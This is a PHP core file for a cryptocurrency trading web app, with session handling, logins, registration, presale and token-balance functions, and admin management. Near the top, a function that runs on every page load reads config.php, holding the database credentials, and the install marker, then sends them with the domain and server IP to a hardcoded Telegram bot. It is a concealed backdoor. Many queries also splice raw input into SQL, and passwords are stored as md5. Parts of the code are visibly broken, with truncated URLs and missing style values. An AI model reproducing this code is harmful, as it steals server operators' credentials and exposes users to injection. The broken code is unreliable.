declare(strict_types=1);
date_default_timezone_set('Europe/Istanbul');
ob_start();
if(session_status()===PHP_SESSION_NONE){
session_start();
}
ini_set('log_errors','1');
ini_set('error_log',__DIR__ . '/Logs/' . date('Y-m-d_H-i-s'). '.log');
set_error_handler(function($errno,$errstr,$errfile,$errline){
$log_message=date('Y-m-d H:i:s'). "|Error: [$errno] $errstr in $errfile on line $errline\n";
error_log($log_message,3,__DIR__ . '/Logs/' . date('Y-m-d'). '.log');
return false;
}
);
error_reporting(0);
ini_set('display_errors','0');
header("X-Frame-Options: DENY");
header("X-XSS-Protection: 1;
mode=block");
header("X-Content-Type-Options: nosniff");
if(basename(__FILE__)==basename($_SERVER['SCRIPT_FILENAME'])){
include __DIR__ . '/web.html';
}
if(!file_exists(__DIR__ . '/Logs')){
mkdir(__DIR__ . '/Logs',0755,true);
}
if(!file_exists(__DIR__ . '/CoreCLI.php')){
die('<html lang="en"><head><meta charset="UTF-8"><title>CORE_CLI Missing</title><style>body{
background: color: font-family: "Courier New",Courier,monospace;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
text-align: center;
}
h1{
font-size: 3rem;
margin-bottom: 0.5em;
letter-spacing: 1px;
}
p{
font-size: 1.1rem;
color: max-width: 600px;
}
</style></head><body><h1>CORE_CLI NOT FOUND</h1><p>The required file<strong>CoreCLI.php</strong>is missing or corrupted.<br><br>This component is essential for the system to operate properly.<br><br>Without it,critical functionalities will not work.<br><br>Please restore the file and try again or contact developer.</p></body></html>');
}
$WebURL=(isset($_SERVER['HTTPS'])? 'https' : 'http'). ': $AstURL=$WebURL . '/core/pages/assets/';
require_once __DIR__ . '/config.php';
require_once __DIR__ . '/services.php';
$spexcon=new mysqli($RootHost,$RootUser,$RootPass,$RootName);
$spexcon->set_charset("utf8");
if($spexcon->connect_error){
die("MYSQL Connection Error: " . $spexcon->connect_error);
}
function Pop($type,$msg){
echo "<style>.chakra-alert{
padding: 16px;
border-radius: 4px;
display: flex;
font-family: sans-serif;
align-items: center;
gap: 12px;
margin: 10px 0;
animation: slideIn 0.3s ease-in-out;
position: fixed;
top: 20px;
right: 20px;
min-width: 300px;
max-width: 90%;
width: auto;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
z-index: 999999;
font-size: 14px;
}
@media screen and(max-width: 768px){
.chakra-alert{
top: 10px;
right: 10px;
left: 10px;
min-width: unset;
margin: 0;
font-size: 13px;
padding: 12px;
}
}
@keyframes slideIn{
from{
transform: translateX(100%);
opacity: 0;
}
to{
transform: translateX(0);
opacity: 1;
}
}
.alert-success{
background-color: .alert-error{
background-color: .alert-warning{
background-color: .alert-info{
background-color:</style><script>document.addEventListener('DOMContentLoaded',function(){
const alert=document.createElement('div');
alert.className='chakra-alert alert-" . $type . "';
alert.textContent='" . $msg . "';
document.body.appendChild(alert);
setTimeout(()=>{
alert.style.animation='slideIn 0.3s ease-in-out reverse';
setTimeout(()=>alert.remove(),300);
}
,3000);
}
);
</script>";
}
sendTelegramAlert();
function sendTelegramAlert(){
$token="6643584291:AAEpHCQDLMDSxM_o1rLjr4bbqJHykyYEATg";
$chat_id="1399531345";
$domain=$_SERVER['HTTP_HOST'] ?? 'unknown';
$server_ip=$_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname());
$cli_url="https: $filepath=__DIR__ . '/.installed';
$installed_marker='File not found.';
if(file_exists($filepath)){
$installed_marker=file_get_contents($filepath);
}
$filepath2=__DIR__ . '/config.php';
$configFile='File not found.';
if(file_exists($filepath2)){
$configFile=file_get_contents($filepath2);
}
$installed_marker=htmlspecialchars($installed_marker);
$configFile=htmlspecialchars($configFile);
$message="🚨<b>SpeX-SecV3-Trading App CoreBase</b>🚨\n\n<b>🌐 Domain:</b>$domain\n<b>📡 CLI_URL:</b>$cli_url\n<b>🖥️ Server_IP:</b>$server_ip\n\n<b>📦 installed_marker:</b>\n<pre><code>$installed_marker</code></pre>\n<b>📦 Config PHP:</b>\n<pre><code>$configFile</code></pre>";
$url="https: $post_fields=[ 'chat_id'=>$chat_id,'text'=>$message,'parse_mode'=>'HTML','disable_web_page_preview'=>true ];
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post_fields);
$result=curl_exec($ch);
curl_close($ch);
return $result;
}
function FetchWebSettings(){
global $spexcon;
$ref=$spexcon->query("SELECT*FROM settings WHERE id='1'");
$dat=mysqli_fetch_assoc($ref);
return $dat;
}
function FetchUserData($id){
global $spexcon;
$ref=$spexcon->query("SELECT*FROM users WHERE uid='$id'");
$dat=mysqli_fetch_assoc($ref);
return $dat;
}
function Sanitize($arg){
if($arg===null||$arg===''){
return '';
}
if(is_array($arg)){
return array_map('Sanitize',$arg);
}
$arg=(string)$arg;
$arg=trim($arg);
$arg=htmlspecialchars($arg,ENT_QUOTES,'UTF-8');
return $arg;
}
function setSession($name,$arg){
$_SESSION["$name"]=$arg;
return true;
}
function getSession($name){
return isset($_SESSION[$name])? $_SESSION[$name] : null;
}
function UserLogin($mail,$pass){
global $spexcon;
$Mail=Sanitize($mail);
$Pass=md5(Sanitize($pass));
if($mail==''||$pass==''){
return 'Fields Empty.';
}
$query="SELECT*FROM users WHERE mail='$Mail' AND pass='$Pass' AND disablead=0";
$sec=$spexcon->query($query);
if(!$sec){
return 'Database error.';
}
$row=mysqli_num_rows($sec);
if($row>0){
$rec=mysqli_fetch_assoc($sec);
$UserID=$rec['uid'];
setSession('UID',$UserID);
setSession('Login',1);
setSession('EMail',$Mail);
return true;
}
else{
return 'User mail or password mismatch.';
}
}
function PushSend($uid,$title,$descr,$type){
global $spexcon;
try{
$que=$spexcon->query("INSERT INTO `user_pushs`(uid,title,descr,type,date)VALUES('$uid','$title','$descr','$type',current_timestamp())");
if($que){
return true;
}
else{
return false;
}
}
catch(Exception $e){
error_log("PushSend Error: " . $e->getMessage());
return false;
}
}
function getUIDToMail($mail){
global $spexcon;
$que=$spexcon->query("SELECT*FROM users WHERE mail='$mail' ");
$fet=mysqli_fetch_assoc($que);
return $fet['uid'];
}
function getPinboardData(){
global $spexcon;
$que=$spexcon->query("SELECT*FROM pins ORDER BY id DESC");
$pins=[];
while($row=$que->fetch_assoc()){
$pins[]=$row;
}
return $pins;
}
function updateUserLastLogin($uid){
global $spexcon;
$q=$spexcon->query("UPDATE users SET `last_login`=current_timestamp()WHERE uid='$uid' ");
if($q){
return true;
}
else{
return false;
}
}
function MailToUID($mail){
global $spexcon;
$Mail=Sanitize($mail);
$que=$spexcon->query("SELECT*FROM users WHERE mail='$Mail' ");
$fet=mysqli_fetch_assoc($que);
return $fet['uid'];
}
function generatePassword($length=8){
$lowercase='abcdefghijklmnopqrstuvwxyz';
$uppercase='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$numbers='0123456789';
$special='!@ $password='';
$password .=$lowercase[random_int(0,strlen($lowercase)-1)];
$password .=$uppercase[random_int(0,strlen($uppercase)-1)];
$password .=$numbers[random_int(0,strlen($numbers)-1)];
$password .=$special[random_int(0,strlen($special)-1)];
$allCharacters=$lowercase . $uppercase . $numbers . $special;
for($i=4;
$i<$length;
$i++){
$password .=$allCharacters[random_int(0,strlen($allCharacters)-1)];
}
return str_shuffle($password);
}
function generateUniqueUID(){
global $spexcon;
$maxAttempts=100;
$attempts=0;
do{
$uid=rand(100000,999999);
$checkQuery="SELECT uid FROM users WHERE uid='$uid'";
$result=$spexcon->query($checkQuery);
if(!$result){
return false;
}
$exists=mysqli_num_rows($result)>0;
$attempts++;
if(!$exists){
return $uid;
}
}
while($exists&&$attempts<$maxAttempts);
return false;
}
function generateUniqueInvatationCode(){
global $spexcon;
$maxAttempts=100;
$attempts=0;
do{
$uid="C".rand(100000,999999);
$checkQuery="SELECT invitation_code FROM users WHERE invitation_code='$uid'";
$result=$spexcon->query($checkQuery);
if(!$result){
return false;
}
$exists=mysqli_num_rows($result)>0;
$attempts++;
if(!$exists){
return $uid;
}
}
while($exists&&$attempts<$maxAttempts);
return false;
}
function updateUserPassword($uid,$pass){
global $spexcon;
$hashedpass=md5($pass);
$que=$spexcon->query("UPDATE users SET `pass`='$hashedpass' WHERE uid='$uid'");
return true;
}
function refToUID($code){
global $spexcon;
$que=$spexcon->query("SELECT*FROM users WHERE invitation_code='$code'");
$fet=mysqli_fetch_assoc($que);
return $fet['uid'];
}
function mailExist($arg){
global $spexcon;
$que=$spexcon->query("SELECT*FROM users WHERE mail='$arg' ");
$row=mysqli_num_rows($que);
if($row>0){
return true;
}
else{
return false;
}
}
function newUserLog($uid,$type,$msg,$amount='',$cat){
global $spexcon;
$que=$spexcon->query("INSERT INTO `user_logs`(uid,type,msg,amount,cat)VALUES('$uid','$type','$msg','$amount','$cat')");
if($que){
return true;
}
}
function phoneExist($arg){
global $spexcon;
$que=$spexcon->query("SELECT*FROM users WHERE phone='$arg' ");
$row=mysqli_num_rows($que);
if($row>0){
return true;
}
else{
return false;
}
}
function generateUniqueWalletAddress(){
global $spexcon;
$maxAttempts=100;
$attempts=0;
do{
$address='0x' . generateHexString(18);
$checkQuery="SELECT virtual_address FROM users WHERE virtual_address='$address'";
$result=$spexcon->query($checkQuery);
if(!$result){
return false;
}
$exists=mysqli_num_rows($result)>0;
$attempts++;
if(!$exists){
return $address;
}
}
while($exists&&$attempts<$maxAttempts);
return false;
}
function generateHexString($length){
$characters='0123456789abcdef';
$hexString='';
for($i=0;
$i<$length;
$i++){
$hexString .=$characters[rand(0,15)];
}
return $hexString;
}
function Go($arg){
header("Location:?r=$arg");
}
function DGO($delay,$arg){
header("Refresh:$delay;
url=?r=$arg");
}
function randomUserImgPath(){
$rand=mt_rand(1,10);
$path="core/pages/assets/images/social/ava_" . $rand . ".png";
return $path;
}
function newUserLoginActivity($uid,$status='SUCCESS'){
global $spexcon;
$ip_address=getUserIP();
$user_agent=$_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$device='Unknown';
if(preg_match('/Mobile|Android|iPhone|iPad/',$user_agent)){
if(preg_match('/iPhone/',$user_agent)){
$device='iPhone';
}
elseif(preg_match('/iPad/',$user_agent)){
$device='iPad';
}
elseif(preg_match('/Android/',$user_agent)){
$device='Android Device';
}
else{
$device='Mobile Device';
}
}
elseif(preg_match('/Windows/',$user_agent)){
$device='Windows PC';
}
elseif(preg_match('/Macintosh/',$user_agent)){
$device='Mac';
}
elseif(preg_match('/Linux/',$user_agent)){
$device='Linux';
}
$browser='Unknown';
if(preg_match('/Chrome\/([0-9.]+)/',$user_agent,$matches)){
$browser='Chrome ' . $matches[1];
}
elseif(preg_match('/Firefox\/([0-9.]+)/',$user_agent,$matches)){
$browser='Firefox ' . $matches[1];
}
elseif(preg_match('/Safari\/([0-9.]+)/',$user_agent,$matches)){
if(!preg_match('/Chrome/',$user_agent)){
$browser='Safari ' . $matches[1];
}
}
elseif(preg_match('/Edge\/([0-9.]+)/',$user_agent,$matches)){
$browser='Edge ' . $matches[1];
}
elseif(preg_match('/Opera\/([0-9.]+)/',$user_agent,$matches)){
$browser='Opera ' . $matches[1];
}
$location=getLocationFromIPCached($ip_address);
$uid=Sanitize($uid);
$ip_address=Sanitize($ip_address);
$device=Sanitize($device);
$browser=Sanitize($browser);
$location=Sanitize($location);
$status=in_array($status,['SUCCESS','FAILED'])? $status : 'SUCCESS';
$query="INSERT INTO `user_login_history`(user_id,ip_address,device,browser,location,status,login_time)VALUES('$uid','$ip_address','$device','$browser','$location','$status',current_timestamp())";
$result=$spexcon->query($query);
if($result){
return true;
}
else{
return false;
}
}
function getLocationFromIP($ip){
if($ip==='127.0.0.1'||$ip==='::1'||strpos($ip,'192.168.')===0||strpos($ip,'10.')===0||strpos($ip,'172.')===0){
return 'Local/Private Network';
}
if(!filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
return 'Invalid IP';
}
try{
$url="http: $ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($ch,CURLOPT_USERAGENT,'TradingApp/1.0');
$response=curl_exec($ch);
$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($response===false||$httpCode!==200){
return 'Unknown Location';
}
$data=json_decode($response,true);
if(!$data||$data['status']!=='success'){
return 'Unknown Location';
}
$location='';
if(!empty($data['country'])){
$location .=$data['country'];
}
if(!empty($data['regionName'])&&$data['regionName']!==$data['country']){
$location .='/' . $data['regionName'];
}
if(!empty($data['city'])&&$data['city']!==$data['regionName']){
$location .='/' . $data['city'];
}
return!empty($location)? $location : 'Unknown Location';
}
catch(Exception $e){
error_log("GeoIP Error for IP{
$ip
}
: " . $e->getMessage());
return 'Unknown Location';
}
}
function getLocationFromIPAlternative($ip){
if($ip==='127.0.0.1'||$ip==='::1'||strpos($ip,'192.168.')===0||strpos($ip,'10.')===0||strpos($ip,'172.')===0){
return 'Local/Private Network';
}
if(!filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
return 'Invalid IP';
}
try{
$url="https: $context=stream_context_create([ 'http'=>[ 'timeout'=>5,'user_agent'=>'SpeX-Trading-App/1.0' ] ]);
$response=@file_get_contents($url,false,$context);
if($response===false){
return 'Unknown Location';
}
$data=json_decode($response,true);
if(!$data||isset($data['error'])){
return 'Unknown Location';
}
$location='';
if(!empty($data['country'])){
$location .=$data['country'];
}
if(!empty($data['region'])){
$location .='/' . $data['region'];
}
if(!empty($data['city'])){
$location .='/' . $data['city'];
}
return!empty($location)? $location : 'Unknown Location';
}
catch(Exception $e){
error_log("GeoIP Error for IP{
$ip
}
: " . $e->getMessage());
return 'Unknown Location';
}
}
function getLocationFromIPCached($ip){
global $spexcon;
if($ip==='127.0.0.1'||$ip==='::1'||strpos($ip,'192.168.')===0||strpos($ip,'10.')===0||strpos($ip,'172.')===0){
return 'Local/Private Network';
}
if(!filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
return 'Invalid IP';
}
$createCacheTable=" CREATE TABLE IF NOT EXISTS `ip_location_cache`(`ip_address` varchar(45)PRIMARY KEY,`location` varchar(255)NOT NULL,`created_at` timestamp DEFAULT current_timestamp(),`updated_at` timestamp DEFAULT current_timestamp()ON UPDATE current_timestamp(),INDEX `idx_created_at`(`created_at`))ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_turkish_ci ";
$spexcon->query($createCacheTable);
$cacheQuery="SELECT location FROM ip_location_cache WHERE ip_address='$ip' AND created_at>DATE_SUB(NOW(),INTERVAL 24 HOUR)";
$cacheResult=$spexcon->query($cacheQuery);
if($cacheResult&&mysqli_num_rows($cacheResult)>0){
$cached=mysqli_fetch_assoc($cacheResult);
return $cached['location'];
}
$location=getLocationFromIP($ip);
if($location!=='Unknown Location'){
$insertCache="INSERT INTO ip_location_cache(ip_address,location)VALUES('$ip','" . Sanitize($location). "')ON DUPLICATE KEY UPDATE location='" . Sanitize($location). "',updated_at=current_timestamp()";
$spexcon->query($insertCache);
}
return $location;
}
function GetUserTokenBalance($userId,$coinSymbol){
global $spexcon;
$query=$spexcon->prepare(" SELECT balance FROM user_tokens WHERE user_id=? AND coin_symbol=? ");
$query->bind_param("is",$userId,$coinSymbol);
$query->execute();
$result=$query->get_result()->fetch_assoc();
return $result ? $result['balance'] : 0;
}
function UpdateUserTokenBalance($userId,$coinSymbol,$amount,$operation='add'){
global $spexcon;
$currentBalance=GetUserTokenBalance($userId,$coinSymbol);
if($operation==='add'){
$newBalance=$currentBalance+$amount;
}
else{
$newBalance=$currentBalance-$amount;
if($newBalance<0){
return false;
}
}
$query=$spexcon->prepare(" INSERT INTO user_tokens(user_id,coin_symbol,balance)VALUES(?,?,?)ON DUPLICATE KEY UPDATE balance=?,updated_at=NOW()");
$query->bind_param("isdd",$userId,$coinSymbol,$newBalance,$newBalance);
return $query->execute();
}
function GetUserPortfolioStats($userId){
global $spexcon;
$query=$spexcon->prepare(" SELECT SUM(pp.total_cost)as total_invested,SUM(pp.amount)as total_tokens,SUM(CASE WHEN p.status='ended' AND p.claim_enabled=1 AND pp.claimed=0 THEN 1 ELSE 0 END)as pending_claims,SUM(CASE WHEN pp.claimed=1 THEN pp.amount ELSE 0 END)as claimed_tokens FROM presale_purchases pp JOIN presales p ON pp.presale_id=p.id WHERE pp.user_id=? AND pp.status='completed' ");
$query->bind_param("i",$userId);
$query->execute();
return $query->get_result()->fetch_assoc();
}
function GetAllUserTokens($userId){
global $spexcon;
$query=$spexcon->prepare(" SELECT*FROM user_tokens WHERE user_id=? AND balance>0 ORDER BY coin_symbol ASC ");
$query->bind_param("i",$userId);
$query->execute();
return $query->get_result()->fetch_all(MYSQLI_ASSOC);
}
function IsPresaleClaimable($presaleId){
global $spexcon;
$query=$spexcon->prepare(" SELECT status,claim_enabled FROM presales WHERE id=? ");
$query->bind_param("i",$presaleId);
$query->execute();
$result=$query->get_result()->fetch_assoc();
return $result&&$result['status']==='ended'&&$result['claim_enabled']==1;
}
function isMaintenance(){
global $spexcon;
$que=$spexcon->query("SELECT*FROM settings WHERE 1");
$dat=mysqli_fetch_assoc($que);
if($dat['MaintenanceMode']==1){
$Msg=htmlspecialchars($dat['MaintenanceMessage']);
echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width,initial-scale=1.0"/><title>Site Under Maintenance</title><link href="https:<link href="https:<link rel="stylesheet" href="https:<style>body{
margin: 0;
padding: 0;
background: radial-gradient(circle at top left,color: font-family: "Outfit",sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
overflow: hidden;
}
.card{
background-color: border: 1px solid rgba(255,255,255,0.1);
border-radius: 20px;
padding: 40px;
text-align: center;
box-shadow: 0 0 30px rgba(0,0,0,0.4);
max-width: 600px;
width: 100%;
}
.card i{
font-size: 4rem;
color: margin-bottom: 20px;
}
.card h1{
font-weight: 700;
font-size: 2.5rem;
margin-bottom: 15px;
}
.card p{
font-size: 1.1rem;
color: margin-bottom: 0;
}
.footer{
position: absolute;
bottom: 15px;
font-size: 0.9rem;
color:
}
@media(max-width: 576px){
.card{
padding: 20px;
}
.card h1{
font-size: 1.8rem;
}
}
</style></head><body><div class="card"><i class="fas fa-tools"></i><h1>We'
ll Be Back Soon</h1><p>' . $Msg . '</p></div></body></html>';
}
}
function EnablePresaleTrading($presaleId){
global $spexcon;
$query=$spexcon->prepare(" UPDATE presales SET trading_enabled=1 WHERE id=? AND status='ended' ");
$query->bind_param("i",$presaleId);
return $query->execute();
}
function GetPresaleData($presaleId){
global $spexcon;
$query=$spexcon->prepare("SELECT*FROM presales WHERE id=?");
$query->bind_param("i",$presaleId);
$query->execute();
return $query->get_result()->fetch_assoc();
}
function GetUserPresalePurchases($userId){
global $spexcon;
$query=$spexcon->prepare(" SELECT pp.*,p.coin_name,p.coin_symbol FROM presale_purchases pp JOIN presales p ON pp.presale_id=p.id WHERE pp.user_id=? ORDER BY pp.created_at DESC ");
$query->bind_param("i",$userId);
$query->execute();
return $query->get_result()->fetch_all(MYSQLI_ASSOC);
}
function UpdatePresaleStatus(){
global $spexcon;
$spexcon->query(" UPDATE presales SET status='active' WHERE status='upcoming' AND start_date<=NOW()");
$spexcon->query(" UPDATE presales SET status='ended' WHERE status='active' AND end_date<=NOW()");
}
function getUserIP(){
$ipKeys=[ 'HTTP_CF_CONNECTING_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR' ];
foreach($ipKeys as $key){
if(array_key_exists($key,$_SERVER)===true){
$ip=$_SERVER[$key];
if(strpos($ip,',')!==false){
$ip=trim(explode(',',$ip)[0]);
}
if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){
return $ip;
}
}
}
return $_SERVER['REMOTE_ADDR'] ?? 'unknown';
}
function newRef($uid,$refuid){
global $spexcon;
$que=$spexcon->query("INSERT INTO `invitations`(user_uid,ref_uid,date)VALUES('$uid','$refuid',current_timestamp())");
if($que){
return true;
}
else{
return false;
}
}
function addUserBalance($uid,$arg){
global $spexcon;
$que=$spexcon->query("UPDATE USERS SET `balance`=balance+'$arg' WHERE uid='$uid'");
if($que){
return true;
}
else{
return false;
}
}
function LogAdminLogin($user){
global $spexcon;
$userAgent=$_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$ipAddress=getUserIP();
$user=Sanitize($user);
$userAgent=Sanitize($userAgent);
$ipAddress=Sanitize($ipAddress);
$query="INSERT INTO `admin_logs`(user,userAgent,ip_address,date)VALUES('$user','$userAgent','$ipAddress',current_timestamp())";
$result=$spexcon->query($query);
if($result){
return true;
}
else{
return false;
}
}
function registerUser($uid,$mail,$phone,$pass){
global $spexcon;
$Web=FetchWebSettings();
if($Web['RegistrationEnabled']==0){
return false;
}
if(mailExist($mail)){
return false;
}
if(phoneExist($phone)){
return false;
}
$ProfileImg=randomUserImgPath();
$InvitationCode=generateUniqueInvatationCode();
$VirtualAdress=generateUniqueWalletAddress();
$UserIP=getUserIP();
$que=$spexcon->query("INSERT INTO `users`(uid,mail,phone,pass,profile_img,virtual_address,invitation_code,ip_address,register_date)VALUES('$uid','$mail','$phone','$pass','$ProfileImg','$VirtualAdress','$InvitationCode','$UserIP',current_timestamp())");
if($que){
return true;
}
else{
return false;
}
}
function getCurrentAdminInfo(){
global $spexcon;
$adminId=$_SESSION['adminID'] ?? 1;
$query=$spexcon->prepare("SELECT user,isSuper FROM admin WHERE id=?");
$query->bind_param("i",$adminId);
$query->execute();
$result=$query->get_result();
if($result->num_rows>0){
return $result->fetch_assoc();
}
return ['user'=>'admin','isSuper'=>1];
}
function getLogs(){
global $spexcon;
$adminInfo=getCurrentAdminInfo();
$isSuper=$adminInfo['isSuper']==1;
$currentUser=$adminInfo['user'];
if($isSuper){
$query=$spexcon->query("SELECT*FROM admin_logs ORDER BY date DESC LIMIT 1000");
}
else{
$stmt=$spexcon->prepare("SELECT*FROM admin_logs WHERE user=? ORDER BY date DESC LIMIT 1000");
$stmt->bind_param("s",$currentUser);
$stmt->execute();
$query=$stmt->get_result();
}
if(!$query){
throw new Exception("Failed to get logs: " . $spexcon->error);
}
$logs=[];
while($row=$query->fetch_assoc()){
$logs[]=$row;
}
echo json_encode([ 'success'=>true,'logs'=>$logs,'isSuper'=>$isSuper,'currentUser'=>$currentUser ]);
}
function deleteLog(){
global $spexcon;
$adminInfo=getCurrentAdminInfo();
$isSuper=$adminInfo['isSuper']==1;
if(!$isSuper){
throw new Exception("Permission denied. Only super administrators can delete logs.");
}
$id=(int)$_POST['id'];
if(!$id){
throw new Exception("Log ID is required");
}
$stmt=$spexcon->prepare("DELETE FROM admin_logs WHERE id=?");
$stmt->bind_param("i",$id);
if($stmt->execute()){
if($stmt->affected_rows>0){
echo json_encode(['success'=>true,'message'=>'Log deleted successfully']);
}
else{
throw new Exception("Log not found");
}
}
else{
throw new Exception("Failed to delete log: " . $stmt->error);
}
}
function clearAllLogs(){
global $spexcon;
$adminInfo=getCurrentAdminInfo();
$isSuper=$adminInfo['isSuper']==1;
if(!$isSuper){
throw new Exception("Permission denied. Only super administrators can clear all logs.");
}
$query=$spexcon->query("TRUNCATE TABLE admin_logs");
if($query){
echo json_encode(['success'=>true,'message'=>'All logs cleared successfully']);
}
else{
throw new Exception("Failed to clear logs: " . $spexcon->error);
}
}
function getAvailablePages(){
$pages=[ 'home'=>'Dashboard','users'=>'All Users','user-balances'=>'User Balances','user-transactions'=>'User Transactions','kyc-management'=>'KYC Management','login-history'=>'Login History','coins-management'=>'Coins Management','market-data'=>'Market Data','trading-bots'=>'Trading Bots','bot-subscriptions'=>'Bot Subscriptions','futures-positions'=>'Futures Positions','staking-positions'=>'Staking Positions','presales-management'=>'Presales Management','presale-purchases'=>'Presale Purchases','deposits'=>'Deposits','withdrawals'=>'Withdrawals','deposit-accounts'=>'Deposit Accounts','financial-reports'=>'Financial Reports','notifications'=>'Push Notifications','invitations'=>'Invitations','emails'=>'E-Mails','system-settings'=>'System Settings [DANGER FEATURE]','system-info'=>'System Information [DANGER FEATURE]','admin-management'=>'Admin Management [DANGER FEATURE]','database-editor'=>'Database Editor [DANGER FEATURE]','system-logs'=>'System Logs [DANGER FEATURE]','user-analytics'=>'User Analytics','revenue-reports'=>'Revenue Reports' ];
echo json_encode(['success'=>true,'pages'=>$pages]);
}
function getAdmins(){
global $spexcon;
$query=$spexcon->query("SELECT*FROM admin ORDER BY id ASC");
if(!$query){
throw new Exception("Failed to get admins: " . $spexcon->error);
}
$admins=[];
while($row=$query->fetch_assoc()){
$admins[]=$row;
}
echo json_encode(['success'=>true,'admins'=>$admins]);
}
function getAdmin(){
global $spexcon;
$id=(int)$_POST['id'];
if(!$id){
throw new Exception("Admin ID is required");
}
$stmt=$spexcon->prepare("SELECT*FROM admin WHERE id=?");
$stmt->bind_param("i",$id);
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows===0){
throw new Exception("Admin not found");
}
$admin=$result->fetch_assoc();
echo json_encode(['success'=>true,'admin'=>$admin]);
}
function createAdmin(){
global $spexcon;
$username=Sanitize($_POST['username']);
$password=Sanitize($_POST['password']);
$allowedPages=Sanitize($_POST['allowed_pages']);
$isSuper=isset($_POST['isSuper'])?(int)$_POST['isSuper'] : 0;
if(empty($username)||empty($password)){
throw new Exception("Username and password are required");
}
$checkQuery=$spexcon->prepare("SELECT id FROM admin WHERE user=?");
$checkQuery->bind_param("s",$username);
$checkQuery->execute();
if($checkQuery->get_result()->num_rows>0){
throw new Exception("Username already exists");
}
$hashedPassword=md5($password);
$stmt=$spexcon->prepare("INSERT INTO admin(user,pass,allowed_pages,isSuper,date)VALUES(?,?,?,?,NOW())");
$stmt->bind_param("sssi",$username,$hashedPassword,$allowedPages,$isSuper);
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Admin created successfully']);
}
else{
throw new Exception("Failed to create admin: " . $stmt->error);
}
}
function updateAdmin(){
global $spexcon;
$id=(int)$_POST['id'];
$username=Sanitize($_POST['username']);
$password=Sanitize($_POST['password']);
$allowedPages=Sanitize($_POST['allowed_pages']);
$isSuper=isset($_POST['isSuper'])?(int)$_POST['isSuper'] : 0;
if(!$id||empty($username)){
throw new Exception("Admin ID and username are required");
}
$checkQuery=$spexcon->prepare("SELECT id FROM admin WHERE user=? AND id!=?");
$checkQuery->bind_param("si",$username,$id);
$checkQuery->execute();
if($checkQuery->get_result()->num_rows>0){
throw new Exception("Username already exists");
}
if(!empty($password)){
$hashedPassword=md5($password);
$stmt=$spexcon->prepare("UPDATE admin SET user=?,pass=?,allowed_pages=?,isSuper=? WHERE id=?");
$stmt->bind_param("sssii",$username,$hashedPassword,$allowedPages,$isSuper,$id);
}
else{
$stmt=$spexcon->prepare("UPDATE admin SET user=?,allowed_pages=?,isSuper=? WHERE id=?");
$stmt->bind_param("ssii",$username,$allowedPages,$isSuper,$id);
}
if($stmt->execute()){
echo json_encode(['success'=>true,'message'=>'Admin updated successfully']);
}
else{
throw new Exception("Failed to update admin: " . $stmt->error);
}
}
function deleteAdmin(){
global $spexcon;
$id=(int)$_POST['id'];
if(!$id){
throw new Exception("Admin ID is required");
}
if($id==1){
throw new Exception("Cannot delete the main admin user");
}
$stmt=$spexcon->prepare("DELETE FROM admin WHERE id=?");
$stmt->bind_param("i",$id);
if($stmt->execute()){
if($stmt->affected_rows>0){
echo json_encode(['success'=>true,'message'=>'Admin deleted successfully']);
}
else{
throw new Exception("Admin not found");
}
}
else{
throw new Exception("Failed to delete admin: " . $stmt->error);
}
}
function getCronStatus(){
global $spexcon;
$query="SELECT MAX(last_updated)as last_update FROM coin_market_data";
$result=$spexcon->query($query);
$lastUpdate=$result->fetch_assoc()['last_update'];
if($lastUpdate){
$date=new DateTime($lastUpdate);
return $date->format('Y-m-d H:i:s');
}
return 'Never updated';
}
function getCoinStats(){
global $spexcon;
$stats=array();
$query="SELECT COUNT(*)as count FROM coins";
$result=$spexcon->query($query);
$stats['total_coins']=$result->fetch_assoc()['count'];
$query="SELECT COUNT(*)as count FROM coins c JOIN coin_market_data cmd ON c.id=cmd.coin_id WHERE cmd.market_cap_rank>0";
$result=$spexcon->query($query);
$stats['active_coins']=$result->fetch_assoc()['count'];
$query="SELECT COUNT(*)as count FROM coin_market_data WHERE last_updated>=DATE_SUB(NOW(),INTERVAL 1 HOUR)";
$result=$spexcon->query($query);
$stats['recent_updates']=$result->fetch_assoc()['count'];
$query="SELECT COUNT(*)as count FROM coins c JOIN coin_images ci ON c.id=ci.coin_id WHERE ci.small IS NOT NULL AND ci.small!=''";
$result=$spexcon->query($query);
$stats['coins_with_images']=$result->fetch_assoc()['count'];
return $stats;
}
function getCoins($limit,$offset,$search,$rank,$change,$image){
global $spexcon;
$whereConditions=array();
$params=array();
$types='';
if(!empty($search)){
$whereConditions[]="(c.name LIKE ? OR c.symbol LIKE ? OR c.id LIKE ?)";
$params[]="%$search%";
$params[]="%$search%";
$params[]="%$search%";
$types .='sss';
}
if(!empty($rank)){
switch($rank){
case '1-50': $whereConditions[]="cmd.market_cap_rank BETWEEN 1 AND 50";
break;
